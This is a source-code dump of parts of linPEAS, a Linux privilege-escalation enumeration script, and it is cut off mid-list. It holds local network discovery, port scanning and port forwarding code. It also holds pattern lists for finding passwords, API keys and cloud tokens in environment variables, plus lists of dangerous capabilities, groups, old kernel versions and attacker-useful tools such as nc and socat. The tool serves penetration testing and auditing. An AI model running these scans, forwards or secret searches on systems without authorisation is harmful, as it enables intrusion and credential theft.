"16" ]; then printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n$NC" for i in $(seq 1 254) do NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1 icmp_recon "$NEWIP" done else printf $RED"[-] Err: Sorry, only Netmask /24 and /16 supported in ping mode. Netmask detected: $NETMASK"$NC; exit 0 fi fi } if [ "$PORTS" ]; then if [ "$SCAN_BAN_GOOD" ]; then if [ "$(echo -n $PORTS | sed 's,[0-9, ],,g')" ]; then printf $RED"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\n"$NC; printf ${BLUE}"$HELP"$NC; exit 0 else #Select the correct configuration of the netcat found select_nc fi else printf $RED" Err: Port scan not possible, any netcat in PATH\n"$NC; printf ${BLUE}"$HELP"$NC; exit 0 fi fi if [ "$DISCOVERY" ]; then if [ "$PORTS" ]; then discovery_port_scan $DISCOVERY $PORTS else if [ "$DISCOVER_BAN_GOOD" ]; then discover_network $DISCOVERY else printf $RED" Err: Discovery not possible, no fping or ping in PATH\n"$NC; fi fi exit 0 elif [ "$IP" ]; then select_nc tcp_port_scan $IP "$PORTS" exit 0 fi if [ "$PORT_FORWARD" ]; then if ! [ "$FOUND_BASH" ]; then printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC; exit 0 fi LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)" LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)" REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)" REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)" if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; exit 0 fi #Check if LOCAL_PORT is a number if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; fi #Check if REMOTE_PORT is a number if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; fi port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT" exit 0 fi if [ "$AUTO_NETWORK_SCAN" ]; then basic_net_info if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then printf $RED"[-] $SCAN_BAN_BAD\n$NC" echo "The network is not going to be scanned..." elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip || echo -n '')" ]; then printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC" echo "The network is not going to be scanned..." else print_2title "Scanning local networks (using /24)" if ! [ "$PING" ] && ! [ "$FPING" ]; then printf $RED"[-] $DISCOVER_BAN_BAD\n$NC" fi select_nc local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") printf "%s\n" "$local_ips" | while read local_ip; do if ! [ -z "$local_ip" ]; then print_3title "Discovering hosts in $local_ip/24" if [ "$PING" ] || [ "$FPING" ]; then discover_network "$local_ip/24" | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Network Discovery" | grep -v "Network Discovery" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $Wfolder/.ips.tmp fi discovery_port_scan "$local_ip/24" 22 | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Ports going to be scanned" | grep -v "Ports going to be scanned" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips rm $Wfolder/.ips.tmp 2>/dev/null while read disc_ip; do me="" if [ "$disc_ip" = "$local_ip" ]; then me=" (local)" fi echo "Scanning top ports of ${disc_ip}${me}" (tcp_port_scan "$disc_ip" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null echo "" done < $Wfolder/.ips rm $Wfolder/.ips 2>/dev/null echo "" fi done print_3title "Scanning top ports of host.docker.internal" (tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null echo "" fi exit 0 fi ================================================ FILE: linPEAS/builder/linpeas_parts/linpeas_base/2_caching_finds.sh ================================================ # Title: Interesting Files - Check if Network jobs # ID: BS_caching_finds # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Cache interesting files discoevred in the file system # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $CHECKS, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: $CONT_THREADS, $backup_folders_row # Fat linpeas: 0 # Small linpeas: 1 if [ "$SEARCH_IN_FOLDER" ]; then printf $GREEN"Caching directories "$NC CONT_THREADS=0 # FIND ALL KNOWN INTERESTING SOFTWARE FILES peass{FINDS_CUSTOM} wait # Always wait at the end CONT_THREADS=0 #Reset the threads counter elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then printf $GREEN"Caching directories "$NC CONT_THREADS=0 # FIND ALL KNOWN INTERESTING SOFTWARE FILES peass{FINDS_HERE} wait # Always wait at the end CONT_THREADS=0 #Reset the threads counter fi if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then #GENERATE THE STORAGES OF THE FOUND FILES peass{STORAGES_HERE} ##### POST SERACH VARIABLES ##### backup_folders_row="$(echo $PSTORAGE_BACKUPS | tr '\n' ' ')" printf ${YELLOW}"DONE\n"$NC echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/variables/EnvVarsRed.sh ================================================ # Title: Variables - EnvVarsRed # ID: EnvVarsRed # Author: Carlos Polop # Last Update: 26-05-2025 # Description: Useless env vars # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $EnvVarsRed # Fat linpeas: 0 # Small linpeas: 1 EnvVarsRed="[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME|[aA][pP][iI][_][kK][eE][yY]|[aA][wW][sS]|[aA][zZ][uU][rR][eE]|[gG][cC][pP]|[aA][pP][iI]|[sS][eE][cC][rR][eE][tT]|[sS][qQ][lL]|[dD][aA][tT][aA][bB][aA][sS][eE]|[tT][oO][kK][eE][nN]" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/GCP_BAD_SCOPES.sh ================================================ # Title: Variables - GCP_BAD_SCOPES # ID: GCP_BAD_SCOPES # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous GCP Scopes # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $GCP_BAD_SCOPES # Fat linpeas: 0 # Small linpeas: 1 GCP_BAD_SCOPES="/cloud-platform|/compute" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/GCP_GOOD_SCOPES.sh ================================================ # Title: Variables - GCP_GOOD_SCOPES # ID: GCP_GOOD_SCOPES # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Good GCP Scopes not dangerous # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $GCP_GOOD_SCOPES # Fat linpeas: 0 # Small linpeas: 1 GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS.sh ================================================ # Title: Variables - GREP_DOCKER_SOCK_INFOS # ID: GREP_DOCKER_SOCK_INFOS # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Grep docker.sock infos # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $GREP_DOCKER_SOCK_INFOS # Fat linpeas: 0 # Small linpeas: 1 GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSystem|KernelVersion|ServerVersion" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS_IGNORE.sh ================================================ # Title: Variables - GREP_DOCKER_SOCK_INFOS_IGNORE # ID: GREP_DOCKER_SOCK_INFOS_IGNORE # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Ignore this strings when grepping docker.sock infos # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $GREP_DOCKER_SOCK_INFOS_IGNORE # Fat linpeas: 0 # Small linpeas: 1 GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/GREP_IGNORE_MOUNTS.sh ================================================ # Title: Variables - GREP_IGNORE_MOUNTS # ID: GREP_IGNORE_MOUNTS # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Ignore this strings when grepping mounts # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $GREP_IGNORE_MOUNTS # Fat linpeas: 0 # Small linpeas: 1 GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/Groups.sh ================================================ # Title: Variables - Groups # ID: Groups # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get groups of the current user # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $USER # Initial Functions: # Generated Global Variables: $Groups # Fat linpeas: 0 # Small linpeas: 1 Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|') ================================================ FILE: linPEAS/builder/linpeas_parts/variables/INT_HIDDEN_FILES.sh ================================================ # Title: Variables - INT_HIDDEN_FILES # ID: INT_HIDDEN_FILES # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Interesting hidden files # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $INT_HIDDEN_FILES # Fat linpeas: 0 # Small linpeas: 1 INT_HIDDEN_FILES="peass{INT_HIDDEN_FILES}" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/LDD.sh ================================================ # Title: Variables - LDD # ID: LDD # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Find ldd # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $LDD # Fat linpeas: 0 # Small linpeas: 1 LDD="$(command -v ldd 2>/dev/null || echo -n '')" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/MyUID.sh ================================================ # Title: Variables - MyUID # ID: MyUID # Author: Carlos Polop # Last Update: 22-08-2023 # Description: My UID # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $MyUID # Fat linpeas: 0 # Small linpeas: 1 MyUID=$(id -u $(whoami)) ================================================ FILE: linPEAS/builder/linpeas_parts/variables/NGINX_KNOWN_MODULES.sh ================================================ # Title: Variables - NGINX_KNOWN_MODULES # ID: NGINX_KNOWN_MODULES # Author: Carlos Polop # Last Update: 22-08-2023 # Description: known modules for nginx # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $NGINX_KNOWN_MODULES # Fat linpeas: 0 # Small linpeas: 1 NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/NOUSEPS.sh ================================================ # Title: Variables - NOUSEPS # ID: NOUSEPS # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Don't use ps # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $NOUSEPS # Fat linpeas: 0 # Small linpeas: 1 if [ "$(ps auxwww 2>/dev/null | wc -l 2>/dev/null)" -lt 8 ]; then NOUSEPS="1" fi ================================================ FILE: linPEAS/builder/linpeas_parts/variables/NoEnvVars.sh ================================================ # Title: Variables - NoEnvVars # ID: NoEnvVars # Author: Carlos Polop # Last Update: 26-05-2025 # Description: Useless env vars # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $NoEnvVars # Fat linpeas: 0 # Small linpeas: 1 NoEnvVars="LESS_TERMCAP|JOURNAL_STREAM|XDG_SESSION|DBUS_SESSION|systemd\/sessions|systemd_exec|MEMORY_PRESSURE_WATCH|RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_|^PATH=|^INVOCATION_ID=|^WATCHDOG_PID=|^LISTEN_PID=" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/PASSTRY.sh ================================================ # Title: Variables - PASSTRY # ID: PASSTRY # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Number of passwords to try # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $PASSTRY # Fat linpeas: 0 # Small linpeas: 1 PASSTRY="2000" #Default num of passwds to try (all by default) ================================================ FILE: linPEAS/builder/linpeas_parts/variables/PATH.sh ================================================ # Title: Variables - PATH # ID: PATH # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Path # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $PATH, $ADDPATH, $OLDPATH, $spath # Fat linpeas: 0 # Small linpeas: 1 OLDPATH=$PATH ADDPATH=":/usr/local/sbin\ :/usr/local/bin\ :/usr/sbin\ :/usr/bin\ :/sbin\ :/bin" spath=":$PATH" for P in $ADDPATH; do if [ "${spath##*$P*}" ]; then export PATH="$PATH$P" 2>/dev/null; fi done ================================================ FILE: linPEAS/builder/linpeas_parts/variables/READELF.sh ================================================ # Title: Variables - READELF # ID: READELF # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Find readelf # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $READELF # Fat linpeas: 0 # Small linpeas: 1 READELF="$(command -v readelf 2>/dev/null || echo -n '')" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/STRACE.sh ================================================ # Title: Variables - STRACE # ID: STRACE # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Find strace # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $STRACE # Fat linpeas: 0 # Small linpeas: 1 STRACE="$(command -v strace 2>/dev/null || echo -n '')" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/STRINGS.sh ================================================ # Title: Variables - STRINGS # ID: STRINGS # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Find strings # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $STRINGS # Fat linpeas: 0 # Small linpeas: 1 STRINGS="$(command -v strings 2>/dev/null || echo -n '')" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/TIMEOUT.sh ================================================ # Title: Variables - TIMEOUT # ID: TIMEOUT # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Find timeout # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $TIMEOUT # Fat linpeas: 0 # Small linpeas: 1 TIMEOUT="$(command -v timeout 2>/dev/null || echo -n '')" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/TIP_DOCKER_ROOTLESS.sh ================================================ # Title: Variables - TIP_DOCKER_ROOTLESS # ID: TIP_DOCKER_ROOTLESS # Author: Carlos Polop # Last Update: 22-08-2023 # Description: In rootless mode privilege escalation to root will not be possible. # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $TIP_DOCKER_ROOTLESS # Fat linpeas: 0 # Small linpeas: 1 TIP_DOCKER_ROOTLESS="In rootless mode privilege escalation to root will not be possible." ================================================ FILE: linPEAS/builder/linpeas_parts/variables/USEFUL_SOFTWARE.sh ================================================ # Title: Variables - USEFUL_SOFTWARE # ID: USEFUL_SOFTWARE # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Useful software # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $USEFUL_SOFTWARE # Fat linpeas: 0 # Small linpeas: 1 USEFUL_SOFTWARE="authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb go kubectl lua lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/baduid.sh ================================================ # Title: Variables - baduid # ID: baduid # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Bad UID if greater than 2147483646 # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $MyUID # Initial Functions: # Generated Global Variables: $baduid, $myuid # Fat linpeas: 0 # Small linpeas: 1 if [ "$MyUID" ]; then myuid=$MyUID; elif [ $(id -u $(whoami) 2>/dev/null) ]; then myuid=$(id -u $(whoami) 2>/dev/null); elif [ "$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1)" ]; then myuid=$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1); fi if [ $myuid -gt 2147483646 ]; then baduid="|$myuid"; fi ================================================ FILE: linPEAS/builder/linpeas_parts/variables/capsB.sh ================================================ # Title: Variables - capsVB # ID: capsB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous capabilities to search # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $capsB # Fat linpeas: 0 # Small linpeas: 1 capsB="=ep|cap_chown|cap_fowner|cap_fsetid|cap_setpcap|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module|cap_sys_rawio|cap_bpf|cap_perfmon" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/capsVB.sh ================================================ # Title: Variables - capsVB # ID: capsVB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Very dangerous capabilities to search # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $capsVB # Fat linpeas: 0 # Small linpeas: 1 capsVB="cap_sys_admin:mount|python \ cap_sys_ptrace:python \ cap_sys_module:kmod|python \ cap_dac_override:python|vim \ cap_chown:chown|python \ cap_fowner:chown|python \ cap_setfcap:python|perl|ruby|php|node|lua|bash \ cap_setpcap:python|perl|ruby|php|node|lua|bash \ cap_setuid:peass{CAP_SETUID_HERE} \ cap_setgid:peass{CAP_SETGID_HERE} \ cap_net_raw:python|tcpdump|dumpcap|tcpflow" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/cfuncs.sh ================================================ # Title: Variables - cfuncs # ID: cfuncs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: C functions to search # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $cfuncs # Fat linpeas: 0 # Small linpeas: 1 cfuncs='file|free|main|more|read|split|write' ================================================ FILE: linPEAS/builder/linpeas_parts/variables/commonrootdirsG.sh ================================================ # Title: Variables - commonrootdirsG # ID: commonrootdirsG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Common root directories # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $commonrootdirsG # Fat linpeas: 0 # Small linpeas: 1 commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/commonrootdirsMacG.sh ================================================ # Title: Variables - commonrootdirsMacG # ID: commonrootdirsMacG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Common root directories in Mac # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $commonrootdirsMacG # Fat linpeas: 0 # Small linpeas: 1 commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/containercapsB.sh ================================================ # Title: Variables - containercapsB # ID: containercapsB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous capabilities to search in containers # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $containercapsB # Fat linpeas: 0 # Small linpeas: 1 containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/cronjobsB.sh ================================================ # Title: Variables - cronjobsG # ID: cronjobsB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous cronjobs to search # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $cronjobsB # Fat linpeas: 0 # Small linpeas: 1 cronjobsB="centreon" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/cronjobsG.sh ================================================ # Title: Variables - cronjobsG # ID: cronjobsG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known cronjobs to search # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $cronjobsG # Fat linpeas: 0 # Small linpeas: 1 cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|mod-pagespeed|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/dbuslistG.sh ================================================ # Title: Variables - dbuslistG # ID: dbuslistG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: List of known dbus services to search for # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $dbuslistG # Fat linpeas: 0 # Small linpeas: 1 dbuslistG="^:1\.[0-9\.]+|com.hp.hplip|com.intel.tss2.Tabrmd|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|net.hadess.SwitcherooControl|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.nm_priv_helper|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.SystemToolsBackends|org.freedesktop.SystemToolsBackends.[a-zA-Z0-9_]+|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.gnome.DisplayManager|org.opensuse.CupsPkHelper.Mechanism" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/filename.sh ================================================ # Title: Variables - filename # ID: filename # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Random filename # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $SCRIPTNAME, $RANDOM # Initial Functions: # Generated Global Variables: $filename # Fat linpeas: 0 # Small linpeas: 1 filename="$SCRIPTNAME.txt$RANDOM" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/groupsB.sh ================================================ # Title: Variables - groupsB # ID: groupsB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous groups # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $groupsB # Fat linpeas: 0 # Small linpeas: 1 groupsB="\(root\)|\(shadow\)|\(admin\)|\(video\)|\(adm\)|\(wheel\)|\(auth\)|\(staff\)" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/groupsVB.sh ================================================ # Title: Variables - groupsVB # ID: groupsVB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Very dangerous groups # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $groupsVB # Fat linpeas: 0 # Small linpeas: 1 groupsVB="\(sudo\)|\(docker\)|\(lxd\)|\(disk\)|\(lxc\)" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/idB.sh ================================================ # Title: Variables - idB # ID: idB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous uid # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $baduid # Initial Functions: # Generated Global Variables: $idB # Fat linpeas: 0 # Small linpeas: 1 idB="euid|egid$baduid" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/kernel.sh ================================================ # Title: Variables - kernel # ID: kernel # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Vulnerable old kernel versions # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $kernelB, $kernelDCW_Ubuntu_Precise_1, $kernelDCW_Ubuntu_Precise_2, $kernelDCW_Ubuntu_Precise_3, $kernelDCW_Ubuntu_Precise_4, $kernelDCW_Ubuntu_Precise_5, $kernelDCW_Ubuntu_Precise_6, $kernelDCW_Ubuntu_Trusty_1, $kernelDCW_Ubuntu_Trusty_2, $kernelDCW_Ubuntu_Trusty_3, $kernelDCW_Ubuntu_Trusty_4, $kernelDCW_Ubuntu_Xenial, $kernelDCW_Rhel5_1, $kernelDCW_Rhel5_2, $kernelDCW_Rhel5_3, $kernelDCW_Rhel6_1, $kernelDCW_Rhel6_2, $kernelDCW_Rhel6_3, $kernelDCW_Rhel6_4, $kernelDCW_Rhel7 # Fat linpeas: 0 # Small linpeas: 1 kernelB=" 4.0.[0-9]+| 4.1.[0-9]+| 4.2.[0-9]+| 4.3.[0-9]+| 4.4.[0-9]+| 4.5.[0-9]+| 4.6.[0-9]+| 4.7.[0-9]+| 4.8.[0-9]+| 4.9.[0-9]+| 4.10.[0-9]+| 4.11.[0-9]+| 4.12.[0-9]+| 4.13.[0-9]+| 3.9.6| 3.9.0| 3.9| 3.8.9| 3.8.8| 3.8.7| 3.8.6| 3.8.5| 3.8.4| 3.8.3| 3.8.2| 3.8.1| 3.8.0| 3.8| 3.7.6| 3.7.0| 3.7| 3.6.0| 3.6| 3.5.0| 3.5| 3.4.9| 3.4.8| 3.4.6| 3.4.5| 3.4.4| 3.4.3| 3.4.2| 3.4.1| 3.4.0| 3.4| 3.3| 3.2| 3.19.0| 3.16.0| 